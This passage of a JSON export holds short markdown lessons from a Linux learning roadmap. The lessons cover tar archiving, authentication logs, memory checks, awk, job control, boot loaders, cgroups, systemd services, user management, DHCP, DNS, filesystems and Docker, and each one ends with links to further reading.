    "content": "# Archiving\n\nLinux offers powerful utilities for archiving, where multiple files and directories are combined into a single file, primarily for backup and simplification of distribution. The main tools used for this purpose are `tar`, `gzip`, and `bzip2`.\n\nThe `tar` command, originally for tape archiving, is a versatile tool that can manage and organize files into one archive. Meanwhile, `gzip` and `bzip2` are used for file compression, reducing the file size and making data transmission easier.\n\nTake a look at the following commands in use:\n\n    # To create a tar archive:\n    tar cvf archive_name.tar directory_to_archive/\n    \n    # To extract a tar archive:\n    tar xvf archive_name.tar\n    \n    # To create a gzip compressed tar archive:\n    tar cvzf archive_name.tar.gz directory_to_archive/\n    \n    #To create a bzip2 compressed tar archive:\n    tar cvjf archive_name.tar.bz2 directory_to_archive/\n    \n\nRemember, in Linux, archiving and compression are separate processes, hence `tar` to archive and `gzip`/`bzip2` to compress. Although they're commonly used together, they can very much be used separately as per the requirements.\n\nVisit the following resources to learn more:\n\n- [@article@Linux File Packaging and Compression](https://labex.io/tutorials/linux-file-packaging-and-compression-385413)"
  },
  {
    "path": "src/data/roadmaps/linux/content/archiving@iD073xTmpzvQFfXwcwXcY.md",
    "content": "# Archiving\n\nLinux offers powerful utilities for archiving, where multiple files and directories are combined into a single file, primarily for backup and simplification of distribution. The main tools used for this purpose are `tar`, `gzip`, and `bzip2`.\n\nThe `tar` command, originally for tape archiving, is a versatile tool that can manage and organize files into one archive. Meanwhile, `gzip` and `bzip2` are used for file compression, reducing the file size and making data transmission easier.\n\nTake a look at the following commands in use:\n\n```bash\n# To create a tar archive:\ntar cvf archive_name.tar directory_to_archive/\n\n# To extract a tar archive:\ntar xvf archive_name.tar\n\n# To create a gzip compressed tar archive:\ntar cvzf archive_name.tar.gz directory_to_archive/\n\n#To create a bzip2 compressed tar archive:\ntar cvjf archive_name.tar.bz2 directory_to_archive/\n```\n\nRemember, in Linux, archiving and compression are separate processes, hence `tar` to archive and `gzip`/`bzip2` to compress. Although they're commonly used together, they can very much be used separately as per the requirements.\n\nLearn more from the following resources:\n\n- [@article@Linux File Packaging and Compression](https://labex.io/tutorials/linux-file-packaging-and-compression-385413)"
  },
  {
    "path": "src/data/roadmaps/linux/content/auth-logs@WwybfdKuP9ogCGpT7d3NU.md",
    "content": "# Authentication Logs\n\nAuthentication logs record system login events, password changes, and sudo commands, located in `/var/log/auth.log` (Debian) or `/var/log/secure` (Red Hat/CentOS). Essential for monitoring server security, detecting brute force attacks and unauthorized access attempts. Use `tail /var/log/auth.log` to view recent entries. Regular analysis ensures server security and data integrity.\n\nVisit the following resources to learn more:\n\n- [@article@Monitoring Linux Authentication Logs](https://betterstack.com/community/guides/logging/monitoring-linux-auth-logs/)\n- [@article@How to Check Linux Login History - Linux Handbook](https://linuxhandbook.com/linux-login-history/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/authentication-logs@WwybfdKuP9ogCGpT7d3NU.md",
    "content": "# Authentication Logs\n\nAuthentication logs in Linux record all auth-related events like logins, password changes, and sudo commands. Located at `/var/log/auth.log` (Debian) or `/var/log/secure` (RHEL/CentOS), these logs help detect brute force attacks and unauthorized access attempts. Use `tail /var/log/auth.log` to view recent entries. Regular log analysis is essential for server security monitoring.\n\nHere is an example of how you can use the `tail` command to view the last few entries of the authentication log:\n\n    tail /var/log/auth.log\n\nVisit the following resources to learn more:\n\n- [@article@Monitoring Linux Authentication Logs](https://betterstack.com/community/guides/logging/monitoring-linux-auth-logs/)\n- [@article@How to Check Linux Login History - Linux Handbook](https://linuxhandbook.com/linux-login-history/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/available-mem@tx0nh6cbBjVxwNlyrBNYm.md",
    "content": "# Available Memory\n\nEvaluating available memory is crucial for Linux system health monitoring. Use command-line tools like `free`, `vmstat`, and `top` to track memory usage and performance metrics. The `free -h` command shows total, used, free, shared, buffer/cache, and available memory in human-readable format. Essential for maintaining optimal server performance and troubleshooting resource issues.\n\nVisit the following resources to learn more:\n\n- [@article@5 Best Ways To Check Available Memory In Linux](https://itslinuxfoss.com/5-ways-check-available-memory-linux/)\n- [@article@Free vs. Available Memory in Linux](https://linuxblog.io/free-vs-available-memory-in-linux/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/available-memory--disk@tx0nh6cbBjVxwNlyrBNYm.md",
    "content": "# Available Memory and Disk\n\nLinux provides tools like `free`, `vmstat`, and `top` to monitor system memory usage and performance. The `free -h` command shows total, used, free, shared, buffer/cache, and available memory in human-readable format. Regular memory monitoring helps maintain optimal server performance, prevent overload, and troubleshoot resource issues effectively.\n\nVisit the following resources to learn more:\n\n- [@article@5 Best Ways To Check Available Memory In Linux](https://itslinuxfoss.com/5-ways-check-available-memory-linux/)\n- [@article@Free vs. Available Memory in Linux](https://linuxblog.io/free-vs-available-memory-in-linux/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/awk@QTmECqpRVMjNgQU70uCF8.md",
    "content": "# AWK\n\nAWK is a powerful text-processing language for Unix-like systems, named after its creators Aho, Weinberger, and Kernighan. It reads files line by line, identifies patterns, and executes actions on matches. Commonly used in bash scripts for sorting, filtering, and report generation.\n\nExample: `awk '{print $1,$2}' filename` prints first two fields of each line.\n\nVisit the following resources to learn more:\n\n- [@article@IBM.com: Awk by Example](https://developer.ibm.com/tutorials/l-awk1/)\n- [@article@AWK Tutorial](https://linuxhandbook.com/awk-command-tutorial/)\n- [@article@Linux awk Command: Text Processing](https://labex.io/tutorials/linux-linux-awk-command-text-processing-388493)\n- [@video@Learning Awk Is Essential For Linux Users](https://www.youtube.com/watch?v=9YOZmI-zWok)\n- [@feed@Explore top posts about Bash](https://app.daily.dev/tags/bash?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/linux/content/background--foreground-processes@mUKoiGUTpIaUgQNF3BND_.md",
    "content": "# Background and Foreground Processes\n\nLinux processes run in foreground (taking direct user input) or background (running independently). Send processes to background with `&` or `bg` command. Bring to foreground with `fg`. Use Ctrl+Z to pause, then `bg` to resume in background. Part of job control for managing multiple tasks simultaneously from single terminal.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Foreground and Background Processes](https://linuxconfig.org/understanding-foreground-and-background-linux-processes)\n- [@article@Running Linux Commands in Background and Foreground](https://linuxhandbook.com/run-process-background/)\n- [@article@Foreground and Background Processes - LinuxOPsys](https://linuxopsys.com/foreground-and-background-processes-co11/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/basic-commands@qLeEEwBvlGt1fP5Qcreah.md",
    "content": "# Linux Navigation Basics: Basic Commands\n\nLinux Navigation Basics is about using simple commands to move around and manage files on your computer. For example, `cd` lets you go into different folders, `ls` shows you what files and folders are inside, and `pwd` tells you where you are currently. These commands help you easily find and organize your files.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Filesystem Navigation Basics](https://linuxconfig.org/filesystem-basics)\n- [@article@Linux Navigation and File Management](https://www.digitalocean.com/community/tutorials/basic-linux-navigation-and-file-management)\n- [@article@Basic Navigation Commands: cd, ls, and pwd ](https://www.linuxbash.sh/post/basic-navigation-commands-cd-ls-and-pwd)"
  },
  {
    "path": "src/data/roadmaps/linux/content/bg-fg-processes@mUKoiGUTpIaUgQNF3BND_.md",
    "content": "# Background and Foreground Processes\n\nLinux processes run in foreground (taking direct user input) or background (running independently). Send processes to background with `&` or `bg` command. Bring to foreground with `fg`. Use Ctrl+Z to pause, then `bg` to resume in background. Part of job control for managing multiple tasks simultaneously from single terminal.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Foreground and Background Processes](https://linuxconfig.org/understanding-foreground-and-background-linux-processes)\n- [@article@Running Linux Commands in Background and Foreground](https://linuxhandbook.com/run-process-background/)\n- [@article@Foreground and Background Processes - LinuxOPsys](https://linuxopsys.com/foreground-and-background-processes-co11/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/boot-loaders@o5lSQFW-V_PqndGqo1mp3.md",
    "content": "# Boot Loaders\n\nBoot loaders load the OS kernel into memory when systems start. Common Linux boot loaders include GRUB (modern, feature-rich with graphical interface) and LILO (older, broader hardware support). Boot loaders initialize hardware, load drivers, start schedulers, and execute init processes. Use `sudo update-grub` to update GRUB configuration. Enable multi-OS booting on single machines.\n\nVisit the following resources to learn more:\n\n- [@official@The GNU GRUB](https://www.gnu.org/software/grub/)\n- [@article@Bootloader - Archlinux wiki](https://wiki.archlinux.org/title/Arch_boot_process#Boot_loader)\n- [@article@Most Popular Linux Boot Loaders](https://thelinuxcode.com/what-is-a-boot-loader/)\n- [@article@GRUB Bootloader in Linux](https://phoenixnap.com/kb/what-is-grub)"
  },
  {
    "path": "src/data/roadmaps/linux/content/booting-linux@DQEa8LrJ9TVW4ULBE4aHJ.md",
    "content": "# Booting Linux\n\nLinux booting involves several stages: POST, MBR, GRUB, Kernel, Init, and GUI/CLI. The bootloader loads the kernel into memory, which detects hardware, loads drivers, mounts filesystems, starts system processes, and presents login prompts. GRUB configuration is managed through `/etc/default/grub` with settings like timeout and default boot options.\n\nVisit the following resources to learn more:\n\n- [@official@The GNU GRUB](https://www.gnu.org/software/grub/)\n- [@article@Booting process of Linux - Wikipedia](https://en.wikipedia.org/wiki/Booting_process_of_Linux)\n- [@article@The Linux Booting Process](https://thelinuxcode.com/the-linux-booting-process-6-steps-described-in-detail/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/cgroups@23lsrUw8ux6ZP9JlDNNu2.md",
    "content": "# Cgroups\n\nCgroups (control groups) are a Linux kernel feature that organizes processes into hierarchical groups and limits their resource usage (CPU, memory, disk I/O). Essential for containerization, cgroups prevent containers from monopolizing host resources, ensuring system stability and performance. Use `cgcreate` to create groups, assign processes, and set resource limits effectively.\n\nVisit the following resources to learn more:\n\n- [@official@Control Groups — The Linux Kernel](https://docs.kernel.org/admin-guide/cgroup-v1/)\n- [@article@cgroups — Linux manual page](https://www.man7.org/linux/man-pages/man7/cgroups.7.html)\n- [@article@Introduction to Control Groups (Cgroups)](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/resource_management_guide/chap-introduction_to_control_groups)"
  },
  {
    "path": "src/data/roadmaps/linux/content/check-logs@DuEfJNrm4Jfmp8-8Pggrf.md",
    "content": "# Checking Logs\n\nLinux system logs provide chronological records of events for debugging and troubleshooting, stored in `/var/log` directory. Use `dmesg` for kernel messages and `journalctl` for systemd logs. `journalctl -u service_name` shows logs for specific services. Essential skill for system administration, monitoring, and effective troubleshooting in Linux environments.\n\nVisit the following resources to learn more:\n\n- [@article@How to Check System Logs on Linux](https://www.fosslinux.com/8984/how-to-check-system-logs-on-linux-complete-usage-guide.htm)\n- [@article@Linux Log Files Location & How To View Logs Files](https://www.cyberciti.biz/faq/linux-log-files-location-and-how-do-i-view-logs-files/)\n- [@article@System Logging - Linuxjourney](https://linuxjourney.com/lesson/system-logging)"
  },
  {
    "path": "src/data/roadmaps/linux/content/checking-service-logs@FStz-bftQBK0M6zz2Bxl4.md",
    "content": "# Checking Service Logs\n\nSystem logs are essential for troubleshooting and monitoring Linux systems. Most logs are stored in `/var/log` directory and managed by systemd. Use `journalctl` to view system logs and `journalctl -u service_name` for specific service logs. The `dmesg` command displays kernel messages. Regular log monitoring is crucial for system administration.\n\nVisit the following resources to learn more:\n\n- [@article@How to Use journalctl Command to Analyze Logs in Linux](https://linuxhandbook.com/journalctl-command/)\n- [@article@journalctl — Linux manual page](https://www.man7.org/linux/man-pages/man1/journalctl.1.html)\n- [@article@Linux Log Files Location & How To View Logs Files](https://www.cyberciti.biz/faq/linux-log-files-location-and-how-do-i-view-logs-files/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/checking-service-status@xk5Xgi797HlVjdZJRfwX1.md",
    "content": "# Service Status\n\nService status shows the current state of Linux services including network processes, backend servers, and background applications. Use `systemctl status service_name` to check service states through systemd manager. Example: `systemctl status apache2.service` shows Apache web server status. Essential for diagnosing problems, maintaining performance, and preventing service downtimes.\n\nVisit the following resources to learn more:\n\n- [@article@Service Management in Linux: A Comprehensive Guide](https://medium.com/@thesureshvadde/service-management-in-linux-a-comprehensive-guide-cb4c7e81dfa9)\n- [@article@Use Systemctl Status Command to Check Service Status](https://linuxhandbook.com/systemctl-check-service-status/)\n- [@article@How to Check All Running Services in Linux](https://www.2daygeek.com/how-to-check-all-running-services-in-linux/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/command-help@KaMSsQnJzNqGHg0Oia4uy.md",
    "content": "# Command Help\n\nLinux command help provides documentation and usage information for shell commands. Use `man command` for detailed manuals, `help command` for shell built-ins, `command --help` for quick options, and `tldr command` for practical examples. Essential for learning command syntax, parameters, and functionality in Linux terminal environments.\n\nVisit the following resources to learn more:\n\n- [@opensource@tldr-pages/tldr](https://github.com/tldr-pages/tldr)\n- [@article@Using the Help Command in Linux](https://linuxhandbook.com/help-command/)\n- [@article@Chapter 10: Getting Help in Linux Terminal](https://itsfoss.com/linux-command-help/)\n- [@article@Get Help on Linux Commands](https://labex.io/tutorials/linux-get-help-on-linux-commands-18000)"
  },
  {
    "path": "src/data/roadmaps/linux/content/command-path@moGMHNR58wFlzhS7je1wc.md",
    "content": "# Command Path in Shell\n\nThe command path is a variable that is used by the shell to determine where to look for the executable files to run. Linux commands are nothing but programs residing in particular directories. But, one does not have to navigate to these directories every time to run these programs. The command path comes to the rescue!\n\nUsually, when you type a command in the terminal, the shell needs to know the absolute path of the command's executable to run it. Instead of typing the full path each time, command paths allow the shell to automatically search the indicated directories in the correct order. These paths are stored in the $PATH environment variable.\n\nVisit the following resources to learn more:\n\n- [@article@Linux path environment variable](https://linuxconfig.org/linux-path-environment-variable)\n- [@article@How to find a path of a Linux command like a pro](https://www.cyberciti.biz/howto/finding-a-path-of-a-linux-command-like-a-pro/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/conditionals@rQxfp7UWqN72iqewZhOdc.md",
    "content": "# Conditionals\n\nShell conditionals allow scripts to make decisions based on conditions using `if`, `elif`, and `else` statements. These control process flow by evaluating string variables, arithmetic tests, or process status. Conditions are checked sequentially - if true, the corresponding code block executes; otherwise, it moves to the next condition until finding a match or reaching `else`.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Scripting: Conditionals](https://linuxconfig.org/bash-scripting-conditionals)\n- [@article@Using If Else in Bash Scripts [Examples] - Linux Handbook](https://linuxhandbook.com/if-else-bash/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/container-runtime@bVCwRoFsYb3HD8X4xuKOo.md",
    "content": "# Container Runtime\n\nContainer runtime is software responsible for running containers in Linux, providing image transport, storage, execution, and network interactions. Popular options include Docker (comprehensive ecosystem), Containerd (lightweight standalone), and CRI-O (Kubernetes-optimized). Each runtime offers specific features and benefits for different use cases in containerized application deployment and management.\n\nVisit the following resources to learn more:\n\n- [@article@Container Runtimes](https://kubernetes.io/docs/setup/production-environment/container-runtimes/)\n- [@article@What are Container Runtimes? Types and Popular Runtime](https://www.wiz.io/academy/container-runtimes)\n- [@article@What are container runtimes?](https://opensource.com/article/21/9/container-runtimes)"
  },
  {
    "path": "src/data/roadmaps/linux/content/containerization@3OpGaQhyNtk1n1MLp-tlb.md",
    "content": "# Containerization\n\nContainerization is a virtualization method that encapsulates applications in containers with isolated operating environments, enabling reliable deployment across computing environments. Unlike VMs requiring full operating systems, containers share the host system's user space, making them lightweight and faster. Docker is a popular Linux containerization tool for managing complex applications.\n\nVisit the following resources to learn more:\n\n- [@official@Docker](https://docker.com)\n- [@official@Kubernetes](https://kubernetes.io)\n- [@article@What is Containerization? - Containerization Explained - AWS](https://aws.amazon.com/what-is/containerization/)\n- [@article@What is Containerization? - DigitalOcean](https://www.digitalocean.com/resources/articles/what-is-containerization)"
  },
  {
    "path": "src/data/roadmaps/linux/content/copying-and-renaming@abKO6KuuIfl9ruVxBw6t_.md",
    "content": "# Copying and Renaming Files\n\nEssential Linux file operations use `cp` to copy files and `mv` to move/rename them. The `cp` command copies files from source to destination, while `mv` moves or renames files/directories. Both commands use the syntax `command source destination`. These case-sensitive commands are fundamental for daily file management tasks in Linux systems.\n\nVisit the following resources to learn more:\n\n- [@article@mv and cp - Linux.org](https://www.linux.org/threads/mv-and-cp.54793/)\n- [@article@Mastering cp and mv Commands in Linux](https://dev.to/ldwit/mastering-cp-and-mv-commands-in-linux-plus-related-cmds-5cc9)\n- [@article@Linux cp Command: File Copying](https://labex.io/tutorials/linux-linux-cp-command-file-copying-209744)\n- [@article@Linux mv Command: File Moving and Renaming](https://labex.io/tutorials/linux-linux-mv-command-file-moving-and-renaming-209743)"
  },
  {
    "path": "src/data/roadmaps/linux/content/copying-renaming@abKO6KuuIfl9ruVxBw6t_.md",
    "content": "# Copying and Renaming Files\n\nEssential Linux file operations use `cp` to copy files and `mv` to move/rename them. The `cp` command copies files from source to destination, while `mv` moves or renames files/directories. Both commands use the syntax `command source destination`. These case-sensitive commands are fundamental for daily file management tasks in Linux systems.\n\nVisit the following resources to learn more:\n\n- [@article@mv and cp - Linux.org](https://www.linux.org/threads/mv-and-cp.54793/)\n- [@article@Mastering cp and mv Commands in Linux](https://dev.to/ldwit/mastering-cp-and-mv-commands-in-linux-plus-related-cmds-5cc9)\n- [@article@Linux cp Command: File Copying](https://labex.io/tutorials/linux-linux-cp-command-file-copying-209744)\n- [@article@Linux mv Command: File Moving and Renaming](https://labex.io/tutorials/linux-linux-mv-command-file-moving-and-renaming-209743)"
  },
  {
    "path": "src/data/roadmaps/linux/content/create--delete--update@R9TZfkgVUQNLnMpDhovJa.md",
    "content": "# Create, Update, and Delete Users\n\nLinux user management involves creating, updating, and deleting user accounts for system security and resource utilization. Key commands: `useradd`/`adduser` (create users), `usermod` (update user details like home directory/shell), `userdel` (delete users). Essential for maintaining secure, organized multi-user system environments and efficient resource allocation.\n\nVisit the following resources to learn more:\n\n- [@article@Creating, Modifying, and Deleting User Accounts](https://serveracademy.com/courses/linux-server-administration/creating-modifying-and-deleting-user-accounts/)\n- [@article@How to create, update, and delete users account on Linux](https://linuxconfig.org/how-to-create-modify-and-delete-users-account-on-linux)\n- [@article@User Management in Linux: A Beginner's Guide](https://dev.to/austinozor/user-management-in-linux-a-beginners-guide-to-creating-modifying-and-deleting-users-fhf)"
  },
  {
    "path": "src/data/roadmaps/linux/content/create-update@R9TZfkgVUQNLnMpDhovJa.md",
    "content": "# Create, Update, and Delete Users\n\nLinux user management involves creating, updating, and deleting user accounts for system security and resource utilization. Key commands: `useradd`/`adduser` (create users), `usermod` (update user details like home directory/shell), `userdel` (delete users). Essential for maintaining secure, organized multi-user system environments and efficient resource allocation.\n\nVisit the following resources to learn more:\n\n- [@article@Creating, Modifying, and Deleting User Accounts](https://serveracademy.com/courses/linux-server-administration/creating-modifying-and-deleting-user-accounts/)\n- [@article@How to create, update, and delete users account on Linux](https://linuxconfig.org/how-to-create-modify-and-delete-users-account-on-linux)\n- [@article@User Management in Linux: A Beginner's Guide](https://dev.to/austinozor/user-management-in-linux-a-beginners-guide-to-creating-modifying-and-deleting-users-fhf)"
  },
  {
    "path": "src/data/roadmaps/linux/content/creating--deleting-files--dirs@9oo2fxTM2_p0VYPBroqxa.md",
    "content": "# Creating Files\n\nLinux file creation uses `touch` for empty files, `echo \"text\" > filename` for text files, or `cat > filename` for interactive input. Commands like `mkdir` create directories. File creation is immediate and permanent. Essential for organizing data, scripts, and configuration files in Linux systems.\n\nVisit the following resources to learn more:\n\n- [@article@What is the Difference Between Cat and Touch Command](https://linuxways.net/centos/what-is-the-difference-between-cat-and-touch-command/)\n- [@article@Creating and Deleting Files / Directories in Linux](https://useful.codes/creating-and-deleting-files-directories-in-linux/)\n- [@article@Creating, Moving, and Deleting Files and Folders](https://dev.to/alkesh009/linux-basics-part-4-creating-moving-and-deleting-files-and-folders-5hip)"
  },
  {
    "path": "src/data/roadmaps/linux/content/creating-files@9oo2fxTM2_p0VYPBroqxa.md",
    "content": "# Creating Files\n\nLinux file creation uses `touch` for empty files, `echo \"text\" > filename` for text files, or `cat > filename` for interactive input. Commands like `mkdir` create directories. File creation is immediate and permanent. Essential for organizing data, scripts, and configuration files in Linux systems.\n\nVisit the following resources to learn more:\n\n- [@article@What is the Difference Between Cat and Touch Command](https://linuxways.net/centos/what-is-the-difference-between-cat-and-touch-command/)\n- [@article@Creating and Deleting Files / Directories in Linux](https://useful.codes/creating-and-deleting-files-directories-in-linux/)\n- [@article@Creating, Moving, and Deleting Files and Folders](https://dev.to/alkesh009/linux-basics-part-4-creating-moving-and-deleting-files-and-folders-5hip)"
  },
  {
    "path": "src/data/roadmaps/linux/content/creating-new-services@34UUrc8Yjc_8lvTL8itc3.md",
    "content": "# Creating Services\n\nCreating Linux services involves setting up background applications using systemd service files. Services run continuously performing essential tasks like web servers, databases, and mail servers. Create `.service` files in `/etc/systemd/system/` with Unit, Service, and Install sections. Control services using `systemctl` commands. Best practice: avoid running services as root for security.\n\nVisit the following resources to learn more:\n\n- [@article@How to Create a systemd Service in Linux](https://linuxhandbook.com/create-systemd-services/)\n- [@article@A Beginner's Guide to Creating Linux Services](https://www.fosslinux.com/111815/a-guide-to-creating-linux-services-with-systemd.htm)"
  },
  {
    "path": "src/data/roadmaps/linux/content/creating-services@xk5Xgi797HlVjdZJRfwX1.md",
    "content": "# Creating Services\n\nCreating Linux services involves setting up background applications using systemd service files. Services run continuously performing essential tasks like web servers, databases, and mail servers. Create `.service` files in `/etc/systemd/system/` with Unit, Service, and Install sections. Control services using `systemctl` commands. Best practice: avoid running services as root for security.\n\nVisit the following resources to learn more:\n\n- [@article@How to Create a systemd Service in Linux](https://linuxhandbook.com/create-systemd-services/)\n- [@article@A Beginner's Guide to Creating Linux Services](https://www.fosslinux.com/111815/a-guide-to-creating-linux-services-with-systemd.htm)\n"
  },
  {
    "path": "src/data/roadmaps/linux/content/cut@Z5Mf_e5G24IkmxEHgYBe2.md",
    "content": "# Cut Command\n\nThe `cut` command is a text processing utility that allows you to cut out sections of each line from a file or output, and display it on the standard output (usually, the terminal). It's commonly used in scripts and pipelines, especially for file operations and text manipulation.\n\nVisit the following resources to learn more:\n\n- [@article@Cut Command in Linux | Linuxize](https://linuxize.com/post/linux-cut-command/)\n- [@article@Linux cut Command: Text Cutting](https://labex.io/tutorials/linux-linux-cut-command-text-cutting-219187)"
  },
  {
    "path": "src/data/roadmaps/linux/content/debugging@rOGnHbGIr3xPCFdpkqoeK.md",
    "content": "# Debugging\n\nShell script debugging in Linux uses tools like bash's `-x` option for execution traces, `trap`, `set` commands, and external tools like `shellcheck`. Use `#!/bin/bash -x` in scripts or `bash -x script.sh` from command line for tracing. These debugging options help detect, trace, and fix errors to make scripts more efficient and error-proof.\n\nVisit the following resources to learn more:\n\n- [@article@How To Debug a Bash Shell Script Under Linux or UNIX](https://www.cyberciti.biz/tips/debugging-shell-script.html)\n- [@article@How to Debug a Bash Shell Script in Linux](https://www.linuxtechi.com/debugging-shell-scripts-in-linux/)\n- [@article@How to Debug Bash Scripts](https://thelinuxcode.com/debug-bash-script/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/dhcp@X6Jw95kbyPgsDNRhvkQP9.md",
    "content": "# DHCP\n\nDHCP (Dynamic Host Configuration Protocol) automatically allocates IP addresses and network configuration to clients, ensuring unique addresses for each machine. In Linux, install with `sudo apt-get install isc-dhcp-server` and configure via `/etc/dhcp/dhcpd.conf`. DHCP servers require static IPs for effective management and can handle DNS and network data. The DHCP server effectively manages the IP addresses and information related to them, making sure that each client machine gets a unique IP and all the correct network information.\n\nVisit the following resources to learn more:\n\n- [@article@Dynamic Host Configuration Protocol - Wikipedia](https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol)\n- [@article@DHCP Protocol: How Dynamic Host Configuration Protocol Works](https://network-guides.com/dhcp-protocol/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/directory-hierarchy-overview@3fzuXKH7az_LVnmnoXB1p.md",
    "content": "# Understanding Directory Hierarchy\n\nIn Linux, understanding the directory hierarchy is crucial for efficient navigation and file management. A Linux system's directory structure, also known as the Filesystem Hierarchy Standard (FHS), is a defined tree structure that helps to prevent files from being scattered all over the system and instead organise them in a logical and easy-to-navigate manner.\n\n*   `/`: Root directory, the top level of the file system.\n*   `/home`: User home directories.\n*   `/bin`: Essential binary executables.\n*   `/sbin`: System administration binaries.\n*   `/etc`: Configuration files.\n*   `/var`: Variable data (logs, spool files).\n*   `/usr`: User programs and data.\n*   `/lib`: Shared libraries.\n*   `/tmp`: Temporary files.\n*   `/opt`: Third-party applications.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Directory Structure Explained for Beginners](https://linuxhandbook.com/linux-directory-structure/)\n- [@article@Overview of File System Hierarchy Standard (FHS)](https://access.redhat.com/documentation/ru-ru/red_hat_enterprise_linux/4/html/reference_guide/s1-filesystem-fhs#s3-filesystem-usr)\n- [@video@The Linux File System Explained in 1,233 Seconds](https://youtu.be/A3G-3hp88mo?si=sTJTSzubdb0Vizjr)"
  },
  {
    "path": "src/data/roadmaps/linux/content/directory-hierarchy@3fzuXKH7az_LVnmnoXB1p.md",
    "content": "# Understanding Directory Hierarchy\n\nIn Linux, understanding the directory hierarchy is crucial for efficient navigation and file management. A Linux system's directory structure, also known as the Filesystem Hierarchy Standard (FHS), is a defined tree structure that helps to prevent files from being scattered all over the system and instead organise them in a logical and easy-to-navigate manner.\n\n- `/`: Root directory, the top level of the file system.\n- `/home`: User home directories.\n- `/bin`: Essential binary executables.\n- `/sbin`: System administration binaries.\n- `/etc`: Configuration files.\n- `/var`: Variable data (logs, spool files).\n- `/usr`: User programs and data.\n- `/lib`: Shared libraries.\n- `/tmp`: Temporary files.\n- `/opt`: Third-party applications.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Directory Structure Explained for Beginners](https://linuxhandbook.com/linux-directory-structure/)\n- [@article@Overview of File System Hierarchy Standard (FHS)](https://access.redhat.com/documentation/ru-ru/red_hat_enterprise_linux/4/html/reference_guide/s1-filesystem-fhs#s3-filesystem-usr)\n- [@video@The Linux File System Explained in 1,233 Seconds](https://youtu.be/A3G-3hp88mo?si=sTJTSzubdb0Vizjr)\n"
  },
  {
    "path": "src/data/roadmaps/linux/content/disks-and-filesystems@Fn_uYKigJRgb7r_iYGVBr.md",
    "content": "# Disks and Filesystems\n\nLinux uses various filesystems to organize, store, and retrieve data from storage devices. Popular filesystems include EXT4 (robust for Linux volumes), FAT32 (compatible with all OS for removable media), NTFS, and Btrfs. Each has specific advantages and use cases. Use `df -T` command to display filesystem types, disk space usage, and mounted device information.\n\nVisit the following resources to learn more:\n\n- [@official@Filesystems in the Linux Kernel](https://www.kernel.org/doc/html/v6.16-rc2/filesystems/index.html)\n- [@article@Partitions And Filesystems In Linux - Introduction](https://www.linuxfordevices.com/tutorials/linux/partitions-and-filesystems)\n- [@article@Overview of File System Hierarchy Standard (FHS)](https://access.redhat.com/documentation/ru-ru/red_hat_enterprise_linux/4/html/reference_guide/s1-filesystem-fhs#s3-filesystem-usr)\n- [@article@Understanding Linux Filesystems: Inodes, Block Sizes, and Data](https://www.linuxjournal.com/content/understanding-linux-filesystems-inodes-block-sizes-and-data-structures)"
  },
  {
    "path": "src/data/roadmaps/linux/content/disks-filesystems@Fn_uYKigJRgb7r_iYGVBr.md",
    "content": "# Disks and Filesystems\n\nLinux uses various filesystems to organize, store, and retrieve data from storage devices. Popular filesystems include EXT4 (robust for Linux volumes), FAT32 (compatible with all OS for removable media), NTFS, and Btrfs. Each has specific advantages and use cases. Use `df -T` command to display filesystem types, disk space usage, and mounted device information.\n\nVisit the following resources to learn more:\n\n- [@official@Filesystems in the Linux Kernel](https://www.kernel.org/doc/html/v6.16-rc2/filesystems/index.html)\n- [@article@Partitions And Filesystems In Linux - Introduction](https://www.linuxfordevices.com/tutorials/linux/partitions-and-filesystems)\n- [@article@Overview of File System Hierarchy Standard (FHS)](https://access.redhat.com/documentation/ru-ru/red_hat_enterprise_linux/4/html/reference_guide/s1-filesystem-fhs#s3-filesystem-usr)\n- [@article@Understanding Linux Filesystems: Inodes, Block Sizes, and Data](https://www.linuxjournal.com/content/understanding-linux-filesystems-inodes-block-sizes-and-data-structures)\n"
  },
  {
    "path": "src/data/roadmaps/linux/content/dns-resolution@f5oQYhmjNM2_FD7Qe1zGK.md",
    "content": "# DNS Resolution\n\nDNS (Domain Name System) converts hostnames to IP addresses, enabling users to access websites without remembering numeric addresses. Linux systems use `/etc/resolv.conf` to configure DNS resolution. Applications consult the DNS resolver, which communicates with DNS servers for address translation. Use `nslookup` or `dig` commands to query DNS and troubleshoot network connectivity issues.\n\nVisit the following resources to learn more:\n\n- [@article@Setup DNS Resolution With \"resolv.conf\" in Examples](https://www.shellhacks.com/setup-dns-resolution-resolvconf-example/)\n- [@article@DNS Resolution](https://wiki.archlinux.org/title/Domain_name_resolution)\n- [@article@nslookup command](https://linuxconfig.org/nslookup-linux-command)\n- [@article@dig command](https://linuxhandbook.com/dig-command/)"
  },
  {
    "path": "src/data/roadmaps/linux/content/docker@MfengY3ouz6sSOx3PXYf8.md",
    "content": "# Docker\n\nDocker is an open-source containerization platform that uses OS-level virtualization to package applications with dependencies into lightweight containers. In Linux, Docker containers share the kernel and use features like namespaces and cgroups for isolation. This provides less overhead than traditional VMs while enabling consistent deployment across environments.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Docker Roadmap](https://roadmap.sh/docker)\n- [@official@Docker](https://docker.com)\n- [@official@Docker Documentation](https://docs.docker.com/)\n- [@article@How To Install and Use Docker on Ubuntu](https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-on-ubuntu-20-04)"
  },
  {
    "path": "src/data/roadmaps/linux/content/editing-files@HGmeYvRf7_XusZl_K4x9k.md",
